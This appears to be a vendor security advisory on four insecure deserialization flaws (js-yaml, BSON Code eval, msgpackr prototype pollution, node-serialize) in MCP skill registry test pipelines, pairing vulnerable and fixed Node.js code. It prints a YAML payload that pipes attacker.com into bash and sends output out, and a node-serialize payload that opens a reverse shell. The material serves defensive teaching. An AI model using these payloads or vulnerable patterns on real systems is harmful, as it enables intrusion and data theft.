Claude MCP skill insecure deserialization — skill test suite execution and coverage reporting pipeline endpoints (SA-SKL-DESER54)
SA-SKL-DESER54 identifies four insecure deserialization vulnerabilities in MCP skill registry test suite execution and coverage reporting pipeline endpoints. YAML deserialization with DEFAULT_FULL_SCHEMA achieves remote code execution at every test completion event; BSON Code type deserialization triggers eval() during the coverage gate check; MessagePack deserialization of a poisoned prototype disables authentication for all subsequent test API requests; and node-serialize IIFE gadgets in the result aggregation pipeline achieve RCE reachable from any user viewing coverage pages.
yaml.load(DEFAULT_FULL_SCHEMA); !!js/function in testConfig.onTestComplete achieves RCE at every test completion event triggered by any registered test consumerBSON.Code type at coverageThresholdFn field triggers eval() during the coverage gate check run before each skill version promotion__proto__.skipTestAuth:true pollutes Object.prototype, disabling authentication for all subsequent test API requests processed by the same workernode-serialize; IIFE gadget in aggregated result achieves RCE at aggregation time, reachable from any user who views the test coverage dashboard pageDESER54-001 — YAML RCE via js/function in test suite config at test completion
The test suite execution pipeline stores per-skill test configuration objects in Redis as YAML blobs. When a test run completes, the pipeline fetches the config from Redis and deserializes it using yaml.load(configBlob, { schema: DEFAULT_FULL_SCHEMA }). The DEFAULT_FULL_SCHEMA in js-yaml versions before 4.0 (and when explicitly specified in later versions) supports the !!js/function tag, which deserializes a YAML string into a live JavaScript function and immediately calls it. The testConfig.onTestComplete field is designed to hold a callback URL string, but the deserialization step does not validate the type before calling testConfig.onTestComplete(result).
An attacker who can write to the Redis instance — either through CORS69-002-style injection into a config update endpoint, through a misconfigured Redis instance accessible from the skill publisher's network, or through a supply-chain compromise of a dependency that shares the Redis connection — can place a crafted YAML blob that includes a !!js/function gadget in the onTestComplete field. Every subsequent test completion event calls the deserialized function, achieving persistent RCE on the test worker process. Because test completion events are triggered by any registered consumer of the skill's test webhook, the RCE can be triggered remotely without further attacker interaction after the initial payload plant.
// DESER54-001 — VULNERABLE
const yaml = require('js-yaml');
async function runTestCompletion(skillId, testResult) {
const rawConfig = await redis.get(`testConfig:${skillId}`);
// VULNERABLE: DEFAULT_FULL_SCHEMA supports !!js/function — RCE at callback
const testConfig = yaml.load(rawConfig, { schema: yaml.DEFAULT_FULL_SCHEMA });
if (typeof testConfig.onTestComplete === 'function') {
// attacker-controlled function called with test result
await testConfig.onTestComplete(testResult);
}
await db.testRuns.update({ status: 'complete' }, { where: { skillId, runId: testResult.runId } });
}
Payload — DESER54-001: Attacker writes this YAML blob to Redis at key testConfig:target-skill-id. Every test completion event thereafter executes the embedded shell command on the test worker host.
// DESER54-001 — MALICIOUS YAML PAYLOAD (stored in Redis)
// redis-cli SET testConfig:target-skill-id "$(cat payload.yaml)"
// payload.yaml:
onTestComplete: !!js/function >
function(result) {
require('child_process').exec(
'curl -s https://attacker.com/shell | bash',
(err, stdout) => { require('https').get('https://attacker.com/out?d=' + Buffer.from(stdout).toString('base64')); }
);
}
notifyUrl: "https://legitimate.example.com/webhook"
// DESER54-001 — FIXED
const yaml = require('js-yaml');
async function runTestCompletion(skillId, testResult) {
const rawConfig = await redis.get(`testConfig:${skillId}`);
// FIXED: SAFE_SCHEMA disables !!js/* tags — no function deserialization
const testConfig = yaml.load(rawConfig, { schema: yaml.SAFE_SCHEMA });
// Validate shape before use — onTestComplete must be a string URL, not a function
const parsed = TestConfigSchema.safeParse(testConfig);
if (!parsed.success) throw new Error('Invalid test config: ' + parsed.error.message);
if (parsed.data.onTestComplete) {
await fetch(parsed.data.onTestComplete, {
method: 'POST',
body: JSON.stringify(testResult),
});
}
await db.testRuns.update({ status: 'complete' }, { where: { skillId, runId: testResult.runId } });
}
DESER54-002 — BSON Code eval in coverage threshold function during gate check
The coverage reporting pipeline stores per-skill coverage configuration objects in MongoDB. The coverage gate check runs before each skill version promotion and reads the coverage configuration document via the MongoDB Node.js driver. When the driver deserializes a document that contains a field of BSON type Code, it creates a JavaScript object with a code string property. The pipeline's coverage gate implementation reads coverageConfig.coverageThresholdFn and, if it is a BSON.Code instance, calls eval(coverageConfig.coverageThresholdFn.code) to reconstruct the threshold function at runtime.
An attacker who can write a crafted document to the MongoDB collection — through a NoSQL injection in a coverage config update endpoint, through a compromised MongoDB credential, or through a misconfigured MongoDB instance — can store a BSON.Code value in coverageThresholdFn. When the coverage gate check runs before the next skill version promotion, the eval() call executes the attacker's JavaScript on the coverage worker process. The timing is deterministic: the gate check runs on every promotion attempt, so the attacker knows exactly when the payload will execute once it is planted.
// DESER54-002 — VULNERABLE
const BSON = require('bson');
async function runCoverageGate(skillId, versionId) {
const coverageConfig = await db.collection('coverageConfigs').findOne({ skillId });
let thresholdFn;
// VULNERABLE: eval() on BSON.Code — arbitrary code execution
if (coverageConfig.coverageThresholdFn instanceof BSON.Code) {
thresholdFn = eval(coverageConfig.coverageThresholdFn.code);
} else {
thresholdFn = new Function('coverage', coverageConfig.coverageThresholdFn);
}
const coverage = await getCoverageReport(skillId, versionId);
const passed = thresholdFn(coverage);
return { passed, coverage };
}
// DESER54-002 — FIXED
async function runCoverageGate(skillId, versionId) {
const coverageConfig = await db.collection('coverageConfigs').findOne({ skillId });
// FIXED: never eval BSON.Code — read threshold as a plain number
const parsed = CoverageConfigSchema.safeParse(coverageConfig);
if (!parsed.success) throw new Error('Invalid coverage config');
const { lineCoverageThreshold, branchCoverageThreshold } = parsed.data;
const coverage = await getCoverageReport(skillId, versionId);
const passed =
coverage.lines >= lineCoverageThreshold &&
coverage.branches >= branchCoverageThreshold;
return { passed, coverage, thresholds: { lineCoverageThreshold, branchCoverageThreshold } };
}
DESER54-003 — MessagePack prototype pollution disables test authentication
The test event queue stores event objects in Redis as MessagePack-encoded blobs. The test worker dequeues events using a consumer group and deserializes each event with the msgpackr library. The default configuration of msgpackr before version 1.9.0 does not block __proto__ keys during object deserialization: a MessagePack map with a string key __proto__ and a nested map value is deserialized by merging the nested map into Object.prototype. An event blob crafted to include __proto__: { skipTestAuth: true } pollutes Object.prototype for the entire worker process.
The test API's authentication middleware checks req.context.skipTestAuth before validating session credentials. After prototype pollution, every plain object in the worker process inherits skipTestAuth: true from Object.prototype, so req.context.skipTestAuth evaluates to true for every subsequent request handled by the same worker, regardless of whether a valid session credential is present. The attacker can place the crafted MessagePack blob into the test event queue through any mechanism that writes to the queue (a compromised test publisher, a poisoned test webhook, or a Redis write injection) and then immediately send unauthenticated API requests to the worker.
// DESER54-003 — VULNERABLE
const { unpack } = require('msgpackr');
async function processTestEvent(rawEvent) {
// VULNERABLE: msgpackr unpack with __proto__ key pollutes Object.prototype
const event = unpack(rawEvent);
// After pollution: Object.prototype.skipTestAuth === true
// Every subsequent req.context.skipTestAuth lookup returns true
await handleTestEvent(event);
}
// In auth middleware:
function requireTestAuth(req, res, next) {
// VULNERABLE: truthy after prototype pollution
if (req.context.skipTestAuth) return next();
if (!req.session?.testToken) return res.status(401).json({ error: 'Unauthorized' });
next();
}
// DESER54-003 — FIXED
const { Unpackr } = require('msgpackr');
// FIXED: useRecords:false prevents __proto__ key merging into Object.prototype
const unpackr = new Unpackr({ useRecords: false, int64AsNumber: true });
async function processTestEvent(rawEvent) {
const event = unpackr.unpack(rawEvent);
// Validate shape before processing — reject events with __proto__ or prototype keys
if ('__proto__' in event || 'prototype' in event || 'constructor' in event) {
throw new Error('Prototype pollution attempt detected in test event');
}
await handleTestEvent(event);
}
// In auth middleware:
function requireTestAuth(req, res, next) {
// FIXED: use Object.prototype.hasOwnProperty to avoid inherited property reads
if (Object.prototype.hasOwnProperty.call(req.context, 'skipTestAuth') &&
req.context.skipTestAuth === true) {
return next(); // only own properties bypass auth
}
if (!req.session?.testToken) return res.status(401).json({ error: 'Unauthorized' });
next();
}
DESER54-004 — node-serialize IIFE gadget achieves RCE in test result aggregation
The test result aggregation service caches aggregated results using node-serialize to serialize JavaScript objects before writing them to a Redis cache key. When the aggregation service reads a cached result, it deserializes with node-serialize.unserialize(). The node-serialize library's deserialization path evaluates strings wrapped in IIFE syntax ((function(){...})()) during the deserialization call, achieving immediate code execution when the crafted string is encountered in the serialized object graph.
The cache key for aggregated test results is derived from the skill ID and coverage report ID, both of which are readable from the registry's public API. An attacker who can write to the Redis cache — through a misconfigured Redis instance, a cache poisoning via a crafted skill ID that collides with an existing cache key, or through a compromised component that shares the Redis connection — can place a serialized payload that includes an IIFE gadget. When any user views the test coverage dashboard page, the aggregation service reads the cache entry and node-serialize.unserialize() immediately executes the IIFE, achieving RCE on the aggregation worker process without requiring the attacker to have an authenticated session.
// DESER54-004 — VULNERABLE
const serialize = require('node-serialize');
async function getAggregatedCoverage(skillId, reportId) {
const cacheKey = `aggCoverage:${skillId}:${reportId}`;
const cached = await redis.get(cacheKey);
if (cached) {
// VULNERABLE: node-serialize.unserialize executes IIFEs in the string
return serialize.unserialize(cached);
}
const result = await computeAggregation(skillId, reportId);
await redis.setex(cacheKey, 3600, serialize.serialize(result));
return result;
}
Payload — DESER54-004: Attacker writes this payload string to the Redis cache key. Any user who views the coverage dashboard triggers the unserialize call, executing the IIFE and achieving RCE on the aggregation worker.
// DESER54-004 — MALICIOUS PAYLOAD (write to Redis cache key)
// redis-cli SET "aggCoverage:target-skill-id:report-uuid" '{"lines":_$$ND_FUNC$$_function (){require("child_process").execSync("bash -c \\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\"");}(),"branches":85}'
// DESER54-004 — FIXED
async function getAggregatedCoverage(skillId, reportId) {
const cacheKey = `aggCoverage:${encodeURIComponent(skillId)}:${encodeURIComponent(reportId)}`;
const cached = await redis.get(cacheKey);
if (cached) {
// FIXED: JSON.parse — no code execution, only data values
const parsed = JSON.parse(cached);
// Validate shape before returning — reject any unexpected keys
return AggregatedCoverageSchema.parse(parsed);
}
const result = await computeAggregation(skillId, reportId);
await redis.setex(cacheKey, 3600, JSON.stringify(result));
return result;
}
SkillAudit detection: The scanner identifies DESER54 patterns using four AST query classes: yaml.load( calls that do not explicitly pass { schema: yaml.SAFE_SCHEMA }; eval( calls on expressions that include BSON.Code or MongoDB document field reads; msgpackr.unpack without an Unpackr instance configured with useRecords: false; and node-serialize.unserialize call sites. Submit your MCP skill registry codebase to SkillAudit for a full audit report.